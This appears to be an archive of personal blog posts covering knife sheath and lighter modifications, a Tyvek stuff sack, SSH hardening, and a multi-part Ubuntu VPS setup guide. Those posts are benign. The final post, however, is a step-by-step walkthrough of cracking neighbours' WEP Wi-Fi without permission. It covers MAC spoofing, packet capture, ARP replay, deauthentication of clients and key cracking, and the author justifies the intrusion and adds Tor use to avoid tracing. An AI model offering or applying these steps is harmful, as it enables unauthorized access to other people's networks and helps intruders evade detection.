The Mora knife sheaths are designed to be mounted either on a button on a pair of coveralls or through a belt. Apparently people wear very small, skinny belts in Sweden. Over here in the United States of Gun Belts, that doesn’t fly. The belt slot on the sheath can be forcefully enlarged by shoving in a piece of wood, such as a ruler, and applying heat to cause the plastic to expand, but I don’t trust that such an act will not over weaken the plastic. I’m not a big fan of carrying a Mora directly on my belt, anyway. Usually, I’ll carry the knife either on a lanyard around my neck or as a dangler off my belt. But both of these setups allow the possibility of the knife and sheath to swing freely, accentuating the problem of an insecure fit.

Both the problem of how to carry the sheath and the problem of the insecure fit can be addressed with a single piece of paracord.

With the knife in the sheath, I take a piece of paracord and run both ends around the handle and through the slot for the belt. Then, tight against the back of the sheath, I tie an overhand knot in either end of the cord. This creates a loop of paracord on the front of the sheath that can be made smaller, but cannot become any wider than the bottom third of the handle. Because the handles on Mora knifes are somewhat tapered – fatter in the middle than on either end – this loop prevents the knife from being removed from the sheath. Even if the knife is only lightly dropped into the sheath rather than securely pressed, it cannot be removed without first sliding off the loop of paracord.

After tying the two knots against the back of the sheath in either end of the paracord, I take both ends and tie them together, forming a loop on the back of the sheath. This provides my carry options.

If I want to wear the knife around my neck, I take a pre-tied loop of paracord that I carry and loop it through itself around the loop on the sheath.

To carry the knife in a dangler system, I prefer to use a Maxpedition Keyper rather than a carabiner. The Keyper is mounted on my belt and clipped into the loop of paracord on the sheath. (To reduce movement in this setup, I’ll stick the knife and sheath in my pocket.)

The last thing that I do to this part of the sheath is add a small wrap of electrical tape around the very top, covering the upper bit of the belt loop and the button hole. This prevents the paracord from sliding to the top of the sheath and forces the securing loop to be about .75” from the very end of the handle. I’ve found that if this is not done, the securing loop is like to slip off the handle.

That’s all that is needed to make the sheath usable, but a few other additions can be made to increase its utility.

Around the top of the sheath, I wrap tape. In the sheaths pictured here, one has 2” olive drab duct tape, the other has 1” black Gorilla Tape (which is like duct tape, but thicker and stickier). One can never carry enough tape. I imagine, also, that the tape likely increases the structural integrity of the sheath.

On the back of both sheaths, I have a #17 sailmaking needle, pre-threaded with black kevlar thread, taped down with some electrical tape. As I mentioned in my review of the RAT Izula, this is an idea I first picked up from one Dave Canterbury’s videos. The extra needle and thread adds no noticeable weight and could be a welcome addition to the sheath if you ever find yourself separated from your pack, with the knife and sheath as your only piece of gear.

The next modification on the body of the sheath was also inspired by Dave Cantebury. In another of his videos, he showed how he had layered different width pieces of inner-tube on a machete sheath to create pockets that could store small items, such as a sharpening stone and magnesium fire starter. With that in mind, I add a wide piece of inner-tube onto the middle of the Mora sheath (which also serves to cover and further secure the taped down needle). Then, on top of that, I put a skinnier piece of inner-tube. Slid between both pieces is a backup ferro rod. Because the rod has rubber below it and rubber atop, there is an incredible amount of friction. The ferro rod becomes difficult to remove. I have carried blank rods in these “pockets” and they have never fallen out. Still, I prefer to carry rods with a lanyard of some sort on them. I loop the rod through its lanyard around the paracord loop on the top of the sheath, guaranteeing that the rod is secured.

The sheath for my KJ #1 knife has only a ferro rod. That knife is carbon steel and can generate sparks off the spine. On the sheath for the larger SL-2, however, I have added a small striker slid between the two pieces of inner-tube on the back. The SL-2 is made of laminated steel, which is too soft to reliably produce sparks.

These modifications made to the Mora sheath help to secure the knife, allow for different carry options, guarantee a source of fire, and provide a needle, thread and tape for repairs. They turn what is otherwise a near useless sheath into a functional item worthy of being matched with the Mora blade.

(I also own a high-quality leather sheath made by JRE Industries for the KJ #1 knife. I tie a loop of paracord through the top loop of leather on the sheath so that the knife may be carried around the neck or on a dangler, similar to the modified plastic sheath. The leather sheath does not require a loop of paracord on the front to secure the handle. Nor does it need pieces of inner-tube to create a pocket for a ferro rod. The only thing that it lacks is a repair needle, but I have found that most tape does not adhere very well to leather, so I cannot stick one on the back.)

Rubberized Mora Handle

2009-11-29T00:00:00-08:00

If an inner-tube can be used to rubberize a BIC lighter, why not a knife?

One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let’s face it: those are ugly. Instead, I cut a piece of 700x35 bicycle inner-tube about an inch wide and slide this just less than halfway on to the handle. The grip is immediately improved. If you were so inclined, you cut a piece the length of the handle and cover the whole thing, but so far it seems that this small piece is enough.

As with the rubberized BIC, this also provides another way to carry tinder that will work even when wet (though it will require a lighter or candle to start).

Rubberized BIC Lighter

2009-11-28T00:00:00-08:00

Here’s a neat trick I picked up from Dusty’s YouTube video. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn’t appeal to me too much: I always carry a BIC in my pocket and his idea added to much bulk for my liking. But, at the end of the video, he cut a smaller piece of inner-tube to make a sort of sheath for the lighter.

I thought that was a great idea. It gives you a nice, rubberized grip for the BIC and provides a simple way of always carrying waterproof tinder.

I’ve now cut off pieces from a 700x35 bicycle inner-tube and made this modification to all my lighters.

DIY Tyvek Stuff Sack

2009-06-22T00:00:00-07:00

(A new version of this tutorial has appeared on ITS Tactical, detailing my updated construction method. The following is outdated, but left for posterity.)

Tyvek is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly waterproof. It is so ubiqitous in industrial usage as to be freely available to the intrepid individual. Partly because of this, Tyvek is popular among many lightweight travelers for use as a cheap, lightweight, and effective groundcloth for a tarp shelter.

The United States Postal Service’s Priority Mail envelopes are also made out of the material. A few months ago I saw a picture of one of these envelopes in use as a stuff sack. I thought it was a great idea and decided to make my own. I’ve since made two of them. It’s a very simple process.

You need only a few items for the project: a USPS Priority Mail envelope, a needle and thread (from the repair kit in your trusty possibles pouch, no doubt), a bit of cord, a cordlock, and a sharp object. You could make the needed cuts with a knife, but scissors are a bit easier. I use the pair on my Leatherman Juice S2, which has replaced the Charge ALX as my daily carry.

The envelope can be new or used. Any post office will have new envelopes available in the lobby, free for the taking. Still, I would feel a little guilty about taking a brand new envelope just for this purpose. There’s plenty enough used envelopes floating around, and it seems a waste to steal a brand new one. I lucked out in that recently someone sent me a package in a box, but, within the box, used the pictured envelope to organize the goods. So the envelope is used, but brand new.

This project also warrants a disclaimer: Priority Mail envelopes, whether new or used, are property of the United States Postal Service. They are intended solely for the use of the postal system and, contrary to logic, just because somebody paid to mail you a package in one doesn’t make it yours (or theirs). So repurposing the envelope in this way is probably a federal offense. Law abiding citizens should immediately navigate away from this page and return to their cells. The rest of us can move on.

The first step in the process is to cut a little square in one corner of the open end of the envelope. No need to measure. Just eyeball whatever looks good. The height of the square will determine the size of the channel which we will sew and then pass the cord through (this one happened to be about 1.5mm).

If you are using a brand new envelope, you’ll want to cut the top bit with the sticky stuff off, so that both sides of the envelope are the same height. On a used envelope, you might have to do some trimming to achieve the same thing, depending on how you opened the envelope.

After the square is cut, fold down the rim of the envelope all the way around, using the height of the square to determine how much is folded. If you want, you can cut a slit in the other corner of the envelope to help fold it down. I did this on the first stuff sack. For this one, I chose not to. There’s a slight bit of bunching in that corner as a result, but it’s fine.

Now that you have the top flap folded down all along the top of the envelope, sew it shut. This creates a channel which we may then thread a bit of cord through, using it to cinch the sack shut.

I start my stitching on the inside of the envelope, poke the needle through, and pull all the thread through except for a tag of about 3”. Then I poke the needle back through in another hole, pull all the thread through back to the inside, and use the tag end of the thread to tie a square knot, thus securing my first stitch.

After that, stitch your way around till the channel is sewn shut and tie off the end of the thread in whatever way you see fit. I’m a pretty poor sewer and am physically and mentally challenged when it comes to knots, which always makes for an interesting end to my stitches.

With the sewing done, now would be a good time for the camera battery to die. Curse a little, perhaps shed a tear, then decide that your audience is intelligent enough to struggle through the next steps without pictures.

For this stuff sack, I used ALSE survival vest cord, also known as accessory cord or Type I paracord. This stuff has a breaking strength of 100 lbs, is 1/16 of an inch in diameter, and tips the scale at 1oz per 50 feet. Pick it up at Supply Captain. You could use any cord you happen to have, including the standard (Type III) 550 paracord, but I don’t think the cord on this little stuff sack needs to have a breaking strength of 550lbs and Type III paracord is much, much heaver than Type I. We’re trying to go lightweight here.

If you don’t have any cordlocks lying around, these can also be got from the Captain.

Threading the cord through the channel can require a little perseverance. I usually tie a knot in one end, stick it in, and then use the knot to push the cord along with my fingers from the outside. If need be, you can shove a skinny stick or something in there to help it along.

When the cord comes out the other side, all that’s left is to cut it to length, slide the cordlock over both ends, tie some sort of knot so that the cordlock can’t be inadvertently slide off the cord, and you’re done!

The resulting stuff sack is durable, lightweight, and free (or close to it, depending on what materials you have in your craft box). Though you’re obviously not going to get a water-tight seal by cinching the sack closed, the Tyvek material itself is waterproof and will suffice to keep your gear organized and dry in any pack. If water crossings and momentary submersion is a concern, use a trash bag as a liner in your pack and you will be very well off for almost no cost in weight or money.

Lighter, stronger, more waterproof, and better constructed stuff sacks can of course be purchased, but for an exponentially higher price. I have nice stuff sacks for my sleeping bag and spare clothes, so, for the time being, this Tyvek stuff sack is used for my food.

March 2010 Update:

Check out the new version of this tutorial on ITS Tactical.

Thoughts on SSH Security

2008-10-03T00:00:00-07:00

OpenSSH has a history of security. Only rarely are holes found in the actual program. It’s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and certainly not root), disable X11 forwarding, disable password authentication (forcing ssh keys instead), and allowing connections only from specified IPs. These config options would look like this:

Protocol 2
PermitRootLogin no
AllowUsers demo
X11Forwarding no
PasswordAuthentication no

Allowing connections from only specified IP addresses would be accomplished by adding something like the following to /etc/hosts.deny:

sshd: ALL # Deny all by default
sshd: 192.168.1.0/255.255.255.0 # Allow this subnet
sshd: 4.2.2.1 # Allow this IP

(You could also accomplish this with iptables, but I think editing the above file is simpler.)

But the last two options – disabling password auth and allowing only certain IP addresses – limits mobility. I constantly login to my slice from multiple IPs, and I also need to login during travel when I may or may not have my key on me.

The main thing these two options protect against is a brute force attack. By allowing password logins from any IP, we give the attacker the ability to exploit the weakest part of SSH. This is where DenyHosts comes in.

DenyHosts is a python script which attempts to recognize and block brute force attacks. It has many attractive features and is included in the default Ubuntu repositories.

1	`$ sudo aptitude install denyhosts`

The config file is located at /etc/denyhosts.conf. It is very simply and readable. I recommend reading through it, but most of the default options are acceptable. If any changes are made, the daemon must be restarted:

1	`$ sudo /etc/init.d/denyhosts restart`

Default Ports

Many people also advocating changing SSH’s default port to something other than 22 (more specifically, something over 1024, which won’t be scanned by default by nmap). The argument in support of this is that many automated attack scripts look for SSH only on port 22. By changing the port, you save yourself the headache of dealing with script kiddies. Opponents to changing the port would argue that the annoyance of having to specify the port number whenever using ssh or scp outweighs the minute security benefits. It’s a heated argument. I lean toward leaving SSH on the default port.

An Ubuntu VPS on Slicehost: Basic Setup

2008-06-10T00:00:00-07:00

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part Two, Part Three, and Part Four.

Slicehost has an excellent article repository, containing guides on a number of subjects. After building a fresh Slice, you should first follow Part 1 and Part 2 of Slicehost’s basic setup articles.

I use slightly different coloring in my bash prompt, so, rather than what Slicehost suggests in their article, I add the following to ~/.bashrc:

export PS1='\[\033[0;32m\]\u@\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '

This is a good time to protect SSH by installing DenyHosts, which I discuss here:

1	`$ sudo aptitude install denyhosts`

Ubuntu’s default text editor is nano, which I abhor. Real men use vim. Ubuntu comes with a slimmed down version of vim, but you’ll probably want the full version:

1	`$ sudo aptitude install vim`

To change the global default editor variable, execute the following and select the editor of your choice:

1	`$ sudo update-alternatives --config editor`

This is also a perfect time to install GNU Screen.

1	`$ sudo aptitude install screen`

If you’re not familiar with Screen, Red Hat Magazine has a nice little introduction

My .screenrc looks like this:

# Print a pretty line at the bottom of the screen
hardstatus alwayslastline
hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{Y}%Y-%m-%d %{W}%c %{g}]'

# Nobody likes startup messages
startup_message off

# Turn visual bell on and set the message to display for only a fraction of a second
vbell on
vbellwait .3

# Set default shell title to blank
shelltitle ''

# Gimme my scrollback!
defscrollback 5000

# Change command character to backtick
escape ``

# Stop programs (like vim) from leaving their contents
# in the window after they exit
altscreen on

# Default screens
screen -t shell 0

I prefer to have my bash profile setup to connect me to Screen as soon as I login. If there are no running sessions, it will create one. If there is a current session, it will disconnect the session from wherever it is connected and connect it to my login. When I disconnect from screen, it automatically logs me out. To achieve this, I add the following to ~/.bashrc:

# If possible, reattach to an existing session and detach that session
# elsewhere. If not possible, create a new session.
if [ -z "$STY" ]; then
    exec screen -dR
fi

I would also recommend following Slicehost’s guide to installing chkrootkit and rkhunter.

One more thing: let’s set the timezone of the server to whatever is local to you (Slicehost’s Ubuntu image defaults to UTC). To do that, run:

1	`$ sudo dpkg-reconfigure tzdata`

Next up: install a web server.

An Ubuntu VPS on Slicehost: Mail

2008-06-10T00:00:00-07:00

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Four.

Last week I moved this domain’s email to Google Apps. Slicehost has a guide to creating MX records for Google Apps. I have a couple other domains with Google Apps, along with a couple domains hosted locally with addresses that simply forward to my primary, Google hosted, email. I also need to send mail from the server. To accomplish all of this, I use Postfix.

Installing Postfix is a simple matter. Telnet is used quite a bit for testing, so I install that too:

1	`$ sudo aptitude install postfix telnet mailutils`

The Postfix setup will ask how it should be installed – we want the “Internet Site” option – and then ask you for your fully qualified domain name.

Done? Let’s make sure Postfix is running:

1	`$ telnet localhost 25`

If it’s working Postfix should return:

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 localhost ESMTP Postfix (Ubuntu)

Let’s send a test message from root to the user account user (replace that with whatever your standard user is):

ehlo localhost
mail from: root@localhost
rcpt to: user@localhost
data
Subject: Test
Hi, is this thing on?
.
quit

Now, check your email as user by running mail. See the message? Good.

Open /etc/postfix/main.cf to make sure that Postfix knows what domains it’s receiving mail for. To do this, edit the mydestination variable to include all the proper domains. For me, the name of my server looks like server.mydomain.com. I want Postfix to accept mail for that domain, but not for mydomain.com (since that’s being handled by Google Apps), so mine looks like:

mydestination = server.mydomain.com, localhost.mydomain.com , localhost

Restart Postfix if you made any changes:

1	`$ sudo /etc/init.d/postfix restart`

Right. Now let’s send another test. Notice this time we’re using full domain names, instead of localhost:

$ telnet server.mydomain.com 25

ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: user@server.mydomain.com
data
Subject: domains!
woot... I think this works.
.
quit

Working? Good.

Let’s test from the outside. The first step is to open up the correct ports in the firewall. Assuming you have iptables configured in the way the Slicehost article suggests, open up your /etc/iptables.test.rules and add the following:

# Allow mail server connections
-A INPUT -p tcp -m state --state NEW --dport 25 -j ACCEPT

Now let’s apply the rules:

1	`$ sudo iptables-restore < /etc/iptables.test.rules`

Make sure everything looks dandy:

1	`$ sudo iptables -L`

If it meets your fancy, save the rules:

$ sudo -i
$ iptables-save > /etc/iptables.up.rules

And now, from your local computer, let’s test it out.

$ telnet server.mydomain.com 25

ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: user@server.mydomain.com
data
Subject: remote connection test
Hello, you.
.
quit

Now check your mail on the mail server as before. Once again, everything should be working.

Now we need to setup a virtual domain. Remember, I don’t want any virtual users. I only want aliases at a virtual domain to forward to my primary email address. That makes this relatively simple. (Be very, very happy. You should have seen this guide before, when I was still hosting virtual domains with virtual users!) Open up /etc/postfix/main.cf and add the following:

virtual_alias_domains = myvirtualdomain.com
virtual_alias_maps = hash:/etc/postfix/virtual

Create the /etc/postfix/virtual file referenced above and add the aliases:

alias@myvirtualdomain.com       user@mydomain.com

Turn it into a database:

$ cd /etc/postfix
$ sudo postmap virtual

Restart Postfix:

1	`$ sudo /etc/init.d/postfix restart`

Attempt to send an email to the new alias at the virtual domain:

$ telnet server.mydomain.com 25
ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: alias@myvirtualdomain.com
data
Subject: virtual domain test
I hope this works!
.
quit

The message should now be in your primary email inbox!

As long as we’re setting up forwards, let’s forward system account mail to somewhere where it’ll actually get read. To do so, create a ~/.forward file with the following contents:

user@mydomain.com

Let’s also create a /root/.forward, so that roots mail gets forwarded to my local account (where it is then forwarded to my primary email). Root’s forward would simply read:

user

Next up: install Wordpress with rewrites. (Previously, we did a basic setup and installed a web server.)

An Ubuntu VPS on Slicehost: Web Server

2008-06-10T00:00:00-07:00

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Three, Part Four.

Now we’ve got a properly configured, but idle, box. Let’s do something with it.

Nginx is a small, lightweight web server that’s all the rage on some small corners of the Net. Apache is extremely overkill for a small personal web server like this and, since we’re limited to 256MB of RAM on this VPS, it quickly becomes a resource hog. Lighttpd is another small, lightweight web server, but I’m a fan of Nginx. Try it out.

First, we need to install the web server. Nginx is now in Ubuntu’s repositories:

1	`$ sudo aptitude install nginx`

That’s all it takes in Hardy, but if you really want a guide for it, Slicehost has you covered.

Slicehost has a few more useful guides to Nginx, including introductions to the config layout and how to get started with vhosts:

Next up, we’ll need to install MySQL and PHP, and get them working with Nginx.

Slicehost has a guide for installing MySQL and Ruby on Rails, which also includes suggestions on optimizing MySQL. I follow the MySQL part of the guide, stopping at “Ruby on Rails install”.

Now MySQL is working, lets install PHP:

1	`$ sudo aptitude install php5-common php5-cgi php5-mysql php5-cli`

To get PHP as FastCGI working with Nginx, we first have to spawn the fcgi process. There are a few different ways to do that. Personally, I use the spawn-fcgi app from lighttpd. To use it, we’ll compile and make lighttpd, but not install it. We’re only after one binary.

Lighttpd has a few extra requirements, so let’s install those:

1	`$ sudo aptitude install libpcre3-dev libbz2-dev`

Now, download the source and compile lighttpd. Then copy the spawn-fcgi binary to /usr/bin/:

$ wget http://www.lighttpd.net/download/lighttpd-1.4.19.tar.gz
$ tar xvzf lighttpd-1.4.19.tar.gz
$ cd lighttpd-1.4.19
$ ./configure
$ make
$ sudo cp src/spawn-fcgi /usr/bin/spawn-fcgi

Then, create a script to launch spawn-fci (I call it /usr/bin/php5-fastcgi):

#!/bin/sh
/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u www-data -C 2 -f /usr/bin/php5-cgi

The script tells spawn-fcgi to launch a fastcgi process, listening on 127.0.01:9000, owned by the web user, with only 2 child processes. You may want more child processes, but I’ve found 2 to be optimal.

Give the script permissions:

1	`$ sudo chmod +x /usr/bin/php5-fastcgi`

I then link the script filename to a version-neutral, err, version:

1	`$ sudo ln -s /usr/bin/php5-fastcgi /usr/bin/php-fastcgi`

Now we need an init script to start the process at boot. I use this one from HowToForge, named /etc/init.d/fastcgi:

#!/bin/bash
PHP_SCRIPT=/usr/bin/php-fastcgi
RETVAL=0
case "$1" in
    start)
        echo "Starting fastcgi"
        $PHP_SCRIPT
        RETVAL=$?
    ;;
stop)
        echo "Stopping fastcgi"
        killall -9 php5-cgi
        RETVAL=$?
    ;;
restart)
        echo "Restarting fastcgi"
        killall -9 php5-cgi
        $PHP_SCRIPT
        RETVAL=$?
    ;;
    *)
        echo "Usage: php-fastcgi {start|stop|restart}"
        exit 1
    ;;
esac      
exit $RETVAL

Give it permissions:

1	`$ sudo chmod 755 /etc/init.d/fastcgi`

Start it:

1	`$ sudo /etc/init.d/fastcgi start`

Have it start at boot:

1	`$ sudo update-rc.d fastcgi defaults`

Alright, now that PHP is running how we want it to, let’s tell Nginx to talk to it. To do that, add the following to your vhost server block in /etc/nginx/sites-available/mydomain.com, making sure to change the SCRIPT_FILENAME variable to match your directory structure:

location ~ \.php$ {
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /home/user/public_html/mydomain.com/public$fastcgi_script_name;
    include        /etc/nginx/fastcgi.conf;
}

Now let’s create that /etc/nginx/fastcgi.conf file that’s being included above. As per the Nginx wiki article, mine looks like this:

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

Then restart Nginx:

1	`$ sudo /etc/init.d/nginx restart`

Let’s create a file named test.php in your domain’s public root to see if everything is working. Inside, do something like printing phpinfo.

Go to http://mydomain.com/test.php. See it? Good. If you get “no input file specified” or somesuch, you broke something.

If you create an index.php, and delete any index.html or index.htm you might have, you’ll notice Nginx throws a 403 Forbidden error. To fix that, find the line in your vhost config (/etc/nginx/sites-available/mydomain.com) under the location / block that reads index index.html; and change it to index index.php index.html;. Then restart Nginx.

If you want SSL with your Nginx, Slicehost has a guide for generating the certificate and another guide for installing it.

You’ll want to install OpenSSL first:

1	`$ sudo aptitude install openssl`

There is one bug in the second guide. In the first server module listening on port 443, which forwards www.domain1.com to domain1.com, the rewrite rule specifies the http protocol. So, in effect, what that rule does is forward you from a secure domain to unsecure: https://www.domain1.com to http://domain1.com. We want it to forward to a secure domain. Simply change the rewrite rule like thus:

rewrite ^/(.*) https://domain1.com permanent;

Next up: install a mail server. (Previously, we did a basic setup.)

An Ubuntu VPS on Slicehost: Wordpress

2008-06-10T00:00:00-07:00

As mentioned previously, I’ve recently moved this domain over to Slicehost. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Three.

I prefer to install Wordpress via Subversion, which makes updating easier. We’ll have to install Subversion on the server first:

1	`$ sudo aptitude install subversion`

After that, the Wordpress Codex has a guide to the rest of the install.

Nothing further is needed, unless you want fancy rewrites. In that case, we’ll have to make a change to your Nginx vhost config at /etc/nginx/sites-available/mydomain.com. Add the following to your server block under location / {:

# wordpress fancy rewrites
if (-f $request_filename) {
    break;
 }
 if (-d $request_filename) {
     break;
  }
  rewrite ^(.+)$ /index.php?q=$1 last;

While we’re here, I usually tell Nginx to cache static files by adding the following right above thelocation / { block:

# serve static files directly
location ~* ^.+\.(jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|css)$ {
    root  /home/user/public_html/mydomain.com/public;
    expires 7d;
    break;
}

That’ll go in the https server section, too. Now, enable rewrites in your Wordpress config. I use the following “custom” structure:

/%year%/%monthnum%/%day%/%postname%/

Then, restart Nginx:

1	`$ sudo /etc/init.d/nginx restart`

And there you have it! You know have a working, new web server and mail server.

(Previously, we did a basic setup, installed a web server, and installed a mail server.)

How to Own the Air

2006-10-20T00:00:00-07:00

Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they’re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with WEP. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn’t limited just to the “others” out on the global interwebs – no, I’d be just as paranoid about the owner of whomever’s network I was breaking into watching my traffic. There was no question I’d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn’t paying for bandwidth by the KB, he’d not be much affected by my leeching. (I use the pronoun “he” because I know now that the owner of my primary network is, in fact, a he – put a password on your routers, people!).

But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.

The Proxim 8470-WD (from aircrack-ng’s recommended list) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in Backtrack and followed aircrack-ng’s newbie guide. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It’s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.

Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here’s what I do (note that I do recommend using Backtrack, instead).

First, of course, one must install aircrack:

sudo apt-get install aircrack

You may change your mac address manually, or, if you aren’t concerned with anonymity, don’t change it all. I have a preference of using the macchanger tool:

sudo apt-get install macchanger

Set your card’s MAC address randomly. In this case, the network device is at ath0:

sudo ifconfig ath0 down
sudo macchanger -r ath0
sudo ifconfig ath0 up

Put your card into monitor mode:

sudo iwconfig ath0 mode monitor

Start scanning:

sudo airodump ath0 dump 0

In this case, dump is the file prefix for airodump’s output and the 0 tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump’s output), the more the merrier. (Hopefully that client is transmitting data, too.)

When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:

sudo airodump ath0 targetdump 9

The targetdump is the file prefix and 9 is the channel. Optionally you can add a 1 to the end of the command, which tells airodump to only capture IVs (which is what you’re after). I normally don’t bother.

When you’ve captured somewhere in the range of 250,000 - 500,000 data packets (shown by airodump in the “Packets” column of your target client), you can start cracking:

aircrack -b 00:12:34:45:78:A3 targetdump.cap

In this case, -b is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I’ve never had to wait over 20 minutes.

But what if the client is being a party-pooper and not transmitting? That’s where packet injection comes in. From aircrack’s guide:

ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).

You’ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:

sudo aireplay -3 -b 00:12:34:45:78:A3 -h A3:78:45:34:12:00 ath0

The -3 tells airepay you want to replay ARP requests, -b is that target network, and -h is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.

If that pesky client still isn’t cooperating, you can give it a little motivation. From aircrack:

Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden. ...the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.

Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:

sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0

The first switch, -0, informs aireplay you want to force the client to be unauthenticated, -a is the target network, -c is the target client. When the client reconnects, you should start grabbing ARP requests.

After you have enough packets, crack the WEP key as before.

To manage and connect to my wireless networks, I’ve taken to using wifi-radar. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:

ifconfig ath0 down && macchanger -r ath0 && ifconfig ath0 up

After it connects, I restart tor:

/etc/init.d/tor restart

(As another reference for you, this site keeps turning up as a guide to cracking WEP in Ubuntu.)